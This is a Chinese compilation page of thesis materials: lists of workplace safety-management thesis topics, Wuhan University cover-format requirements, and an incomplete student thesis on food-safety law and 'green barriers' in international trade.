41、美国煤矿企业生产法制化及对我国的影响
42、煤矿安全生产预警机制探析
43、发达国家安全生产监督管理体制研究
44、企业改制后的安全生产管理初探
45、试论我国安全生产的运行机制
46、分布式数字管理系统及其在安全生产管理中的应用
47、安全生产管理与信息技术应用
48、企业生产中实时风险检测系统的初步研究
49、施工现场安全现状及应对措施研究 50、我国的安全生产基本政策研究
附：论文封面样式及字号要求
届继续教育本/专科学生毕业论文存档编号（5号宋体）
武 汉 大 学 毕业论文
（小1号黑体）
论文题目
（2号楷体）
专业：学院：年级：学习形式：学号：论文作者：指导教师：职称：
（4号宋体）
武汉大学继续教育学院制
完成时间：年月日（3号宋体）
（1）封面；
（2）开题报告（4号宋体）；（3）提纲（4号宋体）；（4）内容提要（4号宋体）；（5）正文（4号宋体）；（6）注释（小5号宋体）；（7）参考文献（5号宋体）
第四篇：安全管理毕业论文题目范文
安全管理毕业论文题目
一、论文说明
【论文金老师特别提醒】以下题目均为示例题目，供大家写作参考使用。因为已经在互联网公开，为了避免重复和抄袭，写作时最好能稍加改动，比如换个写作方向或者换个研究对象，都是可行的。论文中遇到什么问题也可以与我一起交流探讨（见尾部）。
二、论文参考题目
试谈建筑施工企业安全管理 如何让从业人员更乐于接受安全管理 精细化工企业消防安全管理的探讨 新形势下安全管理的新挑战与对策思考 基于现代信息技术的安全管理问题研究 浅析建筑工程安全管理
安全管理在煤矿采矿工程中的应用分析 浅谈建筑施工中的安全管理与安全控制 强化建筑工程安全管理的对策分析 加油站安全管理的问题及对策研究 公路工程施工过程中的安全管理 房建施工中质量与安全管理的研究
手术室安全管理中护理安全干预机制的应用分析 探讨强化建筑工程安全管理的措施 魏家峁煤矿工程基建期的安全管理 强化校园综治安全管理
做好基层安全管理工作的几点思考 浅谈采油厂安全管理文化 建筑施工安全管理
探究责任心和执行力在安全管理中的作用 试论企业安全管理及主要对策 英国建筑安全管理实践之研究与借鉴 采油生产过程的安全管理之我见 浅谈企业安全管理及主要对策 安全管理的必要性及具体措施
以人的安全健康为核心的安全管理新体系的探讨 安全管理“八法”的探索与研究 浅析我国煤矿的安全管理
LGD危险品安全管理专家系统的研究 房地产工程施工安全管理分析 标准化安全管理的探索与实践 企业安全管理信息化探讨 浅谈石油化工企业安全管理 试论化工安全管理的重要性 强化建筑工程安全管理的措施 浅谈安全管理重在提升安全素质 工程施工安全管理研究与实践应用 加强新生儿科高危药品的安全管理 刍议加强建筑施工现场安全管理的要点 高职院校学生安全管理思考
安全管理对现代工程施工现场管理产生的影响分析 浅议我国建筑施工企业安全管理 浅谈企业安全文化建设与安全管理
浅谈安全管理模式在电力工程施工现场的应用 新时期构建校园安全管理长效机制的探讨 热电厂安全管理的几点思考 论建筑工程项目加强安全管理 刍议建筑施工现场安全管理
浅谈加强建筑施工现场安全管理的要点 安全管理在手术室护理中的应用效果分析及体会 图书馆安全管理工作初探 论建筑施工中的安全管理 QC在安全管理中的应用 安全管理之我见
浅谈实现煤炭企业安全管理科学化的途径 企业安全管理成效的实证研究 浅谈电力建设以人为本的安全管理 五九煤炭公司的安全管理对策 现代安全管理的新课题——风险评估
加强领导 落实责任 进一步强化安全管理——1998年中国石化销售公司安全工作会议工作报告
现代企业安全管理的研究 采矿的安全管理与分析
行为安全管理系统中员工不安全行为涌现性抑制的研究 关于煤矿企业内部安全管理问题的分析研究及建议 浅谈提高地震勘探安全管理的几点做法 电力检修的安全管理探讨 关于建筑工程安全管理效益的思考 骨伤科病房安全管理的实践及体会
浅谈国际安全评级系统在化工企业安全管理中的应用 冶金企业相关方安全管理浅析
珠海市拱北辖区幼儿园安全管理现况及对策 ICU检验“危机值”护理安全管理的体会 泰州大桥工程项目建设单位安全管理实践探讨 注重创新力以提高安全管理的控制力 浅析如何推行专业化安全管理
建立安全管理长效机制 确保安全生产长治久安 基层供电所安全管理
信息安全管理领域研究现状的统计分析与评价 创新安全管理思路 完善安全管理体系 论如何加强加油站安全管理 基于控制论的煤矿企业安全管理研究 安全信息在车务段安全管理中的应用 安全管理在煤矿采矿工程中的应用探究 高校学生安全管理的法理分析与制度建构研究 公路水土保持工程施工中的安全管理 对基层车间安全管理工作的思考和认识 安全管理队伍——安全工作中的中坚力量 对中西式安全管理之间冲突的分析
浅谈企业安全管理工作的基础-班组安全管理 抓好煤矿安全管理 提高企业员工安全素质刍议 美国安全管理专业解析
对加强护理安全管理的认识和思考 护理工作中安全管理实践探讨
石油企业安全管理存在问题与管理对策探讨 电气工程班组的安全管理探析 安全管理重在落实
谈谈电气工程班组的安全管理 浅谈企业安全管理 再议安全管理
化工过程安全管理进展 浅谈建筑施工安全管理
浅谈异地办矿的安全管理人才的开发和培养 我国钢铁企业安全管理发展状况的分析与研究 安全伦理与“道德的”安全管理模式建构 浅谈安全管理与安全 安全管理在急诊护理中的应用 浅谈危险化工工艺生产过程安全管理
以情境分析为导向的门诊护患互动式安全管理实践效果研究 安全管理是企业现代化管理的基石——以南通某某公司为例 职业健康安全管理体系研究进展 强化安全管理 提高实验中心管理成效 建筑施工企业安全管理的困境与对策 企业研发安全管理体系的探索与建构 浅论建筑安全管理 民航空管安全管理建设研究 强化建筑工程安全管理的措施研究 水利工程岁修项目安全管理问题与对策 新形势下中小化工企业安全管理的路径探析 对心内科老年住院患者进行护理安全管理的效果观察 小学生安全管理工作的途径分析
前瞻性理念在临床教学护理安全管理中的应用 JCI标准在住院患者使用约束具安全管理中的应用 论如何加强油田安全管理的方法 安全管理中个人因素的重要性分析 台湾煤矿安全管理经验与借鉴
加强安全管理在实际工程的应用与研究 安全管理在护理管理中的重要性探讨 安全管理在护理管理中的重要性 基于配电网安全管理的探讨
浅谈如何提高企业安全管理工作的执行力水平论施工项目部的安全管理 做好基层安全管理工作的几点思考 关于改进长庆建工安全管理的几点看法
基于OSHMS体系的企业安全管理模糊综合评价方法浅析 电力企业安全管理信息系统的设计和实现 供电所安全管理现状及对策分析 药品安全管理模式分析
施工现场安全管理存在问题的原因分析 手术病人的安全管理
智能巡检管理系统在精神科夜班安全管理中的应用 港口安全管理现状分析及对策研究 浅析工程项目监理中的安全管理 基于GIS的城市交通安全管理研究 漳村煤矿的安全管理新方法
安全伞——一种有效可行的安全管理模式 浅谈企业安全管理
企业生产部门管理人员在安全管理中的作用研究 安全管理在气体生产企业发展中的问题与策略探讨
第五篇：食品营养与检测(安全管理方向) 毕业论文
**环境保护职业技术学院毕业论文专业名称：食品营养与检测（安全管理方向）学号：____602093226_____姓名：______孙彬_论文题目：国际贸易框架下食品安全相关法律研究指导教师：_______陈剑虹__考生电话：______***___通迅地址：_**环境保护职业技术学院____邮编：_____410004_目录
1、摘要
2、关键词
3、食品安全与国际贸易的关系
4、绿色壁垒产生的原因和特点
5、结论
6、参考文献国际贸易框架下食品安全相关法律问题研究[摘要]国际贸易和食品安全是相互影响和相互制约的关系,绿色壁垒形成的根本原因在于一些国家为了保护本国经济利益,限制外国产品进入本国市场,确保本国产品在国内市场的占有份额。它具有形式上的合法性、实施上的歧视性等特征。WTO对“绿色壁垒”问题进行了相关法律规制,但是也存在很多问题;针对绿色壁垒对我国食品进出口的影响,我国应当从善用WTO规则、完善国内法律法规、建立绿色壁垒信息中心以及大力发展绿色产品出口等方面予以积极应对。[关键词]食品安全;国际贸易;绿色壁垒;SPS协议[中图分类号]D996.1[文献标识码]A[文章编号]1671-6639(2010)02-0007-06本文所称的“食品安全”中的“食品”,作广义的解释,包括一切适宜人类食用的物品,即天然产品和加工产品。食品安全对于任何国家国民的重要性不言而喻,但是最初它只是属于一国政府的职责。真正将食品安全与国际贸易相联系,还是最近几十年的事情,它是伴随着经济全球化、国际贸易的发展以及国际社会对于国际贸易的法律规制而产生的。
一、食品安全与国际贸易的关系食品安全与国际贸易的关系在20世纪90年代以后成为国际社会的重要议题,其原因在于当今人类社会面临着两个共同的发展趋势:即更加注重食品的安全性和贸易自由化的实施。贸易自由化是指一国或者地区由保护贸易体制向自由贸易体制转变,逐渐减少各种不合理贸易限制的过程[1]。从根本目的上看,贸易与食品安全具有一致性。贸易的目的是通过市场机制的作用,以提高生活标准,保证充分就业和大幅度提高人们的实际收入和有效需求。各国重视食品安全的目的与此相似。民以食为天,食以安为先。食品安全事件容易造成较大的社会影响,也极易为恐怖主义和犯罪分子利用,如何保证食品安全已成为新世纪社会性、国际性的重大课题,越来越受到各国政府和人们的重视。各国合理地采取的技术措施不仅可以保护人类的健康和安全以及生态环境,还可以有效地缓解贸易与环境之间的矛盾,促使传统产品不断降低污染密集度,不断提高技术含量,有利于促进经济和社会的良性发展。国际贸易的快速增长在一定程度上可以促进食品安全的发展,尤其是为各国加强食品安全的监管提供物质基础,同时也给许多产品尤其是“绿色食品”创造了更多的贸易机会。食品安全与国际贸易虽然在根本目标上是一致的,但是两者的价值取向是有区别的。贸易活动所追求的是流通成本的最小化和贸易金额的最大化,而食品安全则要求各国更加重视民众的食品质量,要求进口的外国产品符合本国对于食品安全的各种标准。在这方面,不同国家尤其是发达国家和发展中国家之间存在着较大的差异。发达国家由于经济发展水平较高,物质产品丰富,往往在食品安全上采用较高的标准;而发展中国家尤其是处于较低发展阶段的发展中国家,他们更多的是要面临反贫困、求生存的问题,食品安全标准相对较低,对国际社会制定的食品安全标准接受程度不高。这必然会直接影响此类国家食品的进出口。由于食品安全标准涉及面很广泛,内容复杂,且隐蔽性和合法性结合,特别是国际上还没有形成统一的标准制度,各国之间难以协调,容易引起争议。从20世纪80年代后期,尤其是进入90年代后,一个新的现象出现了,那就是绿色壁垒。关于绿色壁垒的定义很多,一般认为,所谓绿色壁垒是指一国以保护有限的自然资源、环境和人类健康为由,通过制定一系列苛刻的环保标准,对来自其他国家(或地区)的产品、服务直接或间接加以限制的贸易手段和措施。这是一种新型的非关税壁垒,逐步成为国际贸易政策的重要组成部分。绿色壁垒有很多表现形式,如绿色标准、绿色环境标志、绿色包装制度、绿色卫生检疫制度、政府的“绿色补贴”等等。为了研究的方便,本文将绿色壁垒局限在一国为食品安全而实施的技术壁垒[2]。
二、绿色壁垒产生的原因和特点(一)绿色壁垒产生的主要原因绿色壁垒形成的根本原因在于一些国家为了保护本国经济利益,确保本国产品在国内市场的占有份额而限制外国产品进入本国市场。具体分析有如下几个方面的原因:1.市场矛盾日趋尖锐的形势下,发达国家谋求经济利益最大化是绿色壁垒产生的根本原因,而食品贸易的特殊性使其与其他领域相比有过之而无不及。20世纪90年代以来,在“泡沫经济”的催生下,全球生产过剩,市场矛盾日益尖锐。而在GATT和WTO的推动下,贸易自由化在进一步的深化,各国面临着降低关税、开放市场的问题,关税和传统的非关税措施再难以成为保护本国市场的有效手段。这迫使许多西方国家不得不另谋新招。食品是一种特殊的商品,其中的农产品更是如此,在各个领域中农产品市场的扭曲程度最高。WTO的历次谈判几乎都是因农业问题而止步不前。对于世界上各个国家而言,农业都是国民经济的支柱性产业,又是自然风险与市场风险并存的产业,同时,农业生产的周期长、效益低等特点进一步决定了农业生产的弱质性,因此长期以来各国都重视对农业的保护。面对日益激烈的国际农产品竞争,各国充分利用有限的政策空间,运用各种允许的政策手段,结合各国普遍认同的法律条款,不断加强对农产品的保护,由此也形成了农产品贸易的重重壁垒。不仅有涉及到食品安全的“绿色壁垒”,还有反倾销、特色保障条款等都成为农产品贸易的主要壁垒。2.消费观念的更新、绿色需求的扩大内在地推动了绿色壁垒的形成。可持续发展概念反应在消费行为上就是绿色消费,表现为消费者在选购商品的时候更加注重产品的“绿色含量”。在日本,挑剔的消费者对于普通饮水和空气都以绿色作为选择标准,灌装水和纯净的氧气成为抢手货[3]。很多国家纷纷出台了各种对食品高标准、严要求的技术措施,达到了限制进口和扩大出口的目的,从而使得“绿色壁垒”发展成为新的贸易壁垒。3.各国在技术水平、环保标准和相关资金投入等方面的差异是绿色壁垒存在的直接原因。各国的生产力水平、经济实力存在很大差异,相应的对食品安全的资金投入和技术要求也各不相同,加之世界商品种类繁多,生产过程和生产方法五花八门,要制定统一的国际标准更是难上加难。由于发达国家在技术法规、认证制度、检疫制度等方面都居于领先地位,因而在国际贸易中处于主导地位。为全世界各国人民提供安全、卫生的食品,保护人类健康,这是世界各国政府追求的目标。要达到这一目标,仅仅依靠传统的技术手段已经远远不够了。必须通过政治、经济、法律等多种方式和途径加以解决。各国政府为保护本国人民的健康,有权将对那些达不到安全标准、危害人类健康的产品拒之门外,这是一种历史的必然。但是在处理食品安全与贸易关系的问题上,如果过分强调保护人类健康,并且以此作为不遵守有关国际贸易规则和准则的理由,就有可能使得食品安全问题成为一种新的贸易壁垒,特别是当个别国家以保护人类健康为由,行环境保护之实,绿色壁垒就实实在在地形成了。(二)绿色壁垒的特点与其他非关税壁垒相比,绿色壁垒具有以下特点:1.名义上的合理性。当代的人们普遍关心生活质量,关注生态环境,环保消费意识逐步增强,而绿色壁垒正是以保护世界资源、生态环境和人类健康的名义实施贸易上的限制与制裁,给自己披上合法的外衣,因而非常具有欺骗性。2.形式上的合法性。实施绿色壁垒的国家往往是以公开立法的形式对其加以规定的,甚至以国际条约为根据,具有坚强的法律后盾,在形式上更加具有严肃性、合法性。尽管绿色壁垒实质上有悖于普遍公认的自由贸易原则,但是由于和保护人类健康、环保等一系列主题紧密相连,因此在很长一段时间内,绿色壁垒不大可能像其他壁垒那样轻易地从国际贸易领域中撤除。虽然WTO多边贸易体制中涉及食品安全方面的条款本身并非贸易壁垒,但是由于其中很多条款对一些概念的规定含糊不清,的确使得某些发达国家为树立绿色壁垒找到了法律上的借口,因此在发生纠纷的时候,进口国也就很容易从WTO相关立法中找到法律上的支持。有机食品属于国际上通用的环保生态食品概念,它要求在生产和加工中不使用任何化肥、农药、化学防腐剂等合成物质,比国内通行的绿色食品的环保标准更高。我国有机食品的发展潜力巨大。国际市场对我国的有机大豆、稻米、花生、蔬菜以及有机药品的需求量很大。目前经过我国认证的有机食品品种如茶叶、蜂蜜、大豆、芝麻等已达上百个,其中很多产品品种已经销往美国、加拿大、日本、欧盟等国家。从价格上看,有机农产品的价格比普通农产品要高出30%,农民可以从较高的农产品价格中获益[7]。
五、结论从目前来看,由于国际上对绿色壁垒法律规制的不完善,同时也由于绿色壁垒措施实施的隐蔽性、名义上的合理性,它将在一定时期内长期存在。作为食品出口大国,如何应对绿色壁垒、扩大我国食品的外贸出口是我国面临的一大难题。笔者建议,应完善相关法律法规,加强绿色产品、有机产品的发展,积极利用WTO对于发展中国家的特殊和差别待遇,尽可能地减少由于发达国家实施“绿色壁垒”对我国食品出口造成的不利影响。注:①为了解决因为技术引起的贸易壁垒,在美国倡议下,1970年的GATT正式成立了一个制定技术标准和质量认证法规方面的工作组,着手起草《技术性贸易壁垒协议》(草案),并且最终于1979年正式签署了世界上第一个全面规范技术标准的法律文件——《技术性贸易壁垒守则》,并于1980年生效。但是由于该守则属任意性性质,并没有广泛的效力,截至1992年11月,只有40多个国家参加。在乌拉圭回合谈判中,对该守则的内容予以了修改,1995年1月1日,《技术性贸易壁垒协议》正式生效。①TBT协议和SPS协议看上去使用范围相当不同,但是这种不同在实际操作时并不十分明显。例如,为保障食品质量的食品标签可以属于SPS协议范畴,尽管理论上这似乎属于TBT协议范畴。②绿色产品是指从生产、使用到回收处置的整个过程对生态环境无害或者危害极小,符合特定的环保要求并且有利于资源再生利用的产品。参见蔡珍贵著:《WTO时代的国际贸易新壁垒研究》,中国市场出版社2007年版,第295页。
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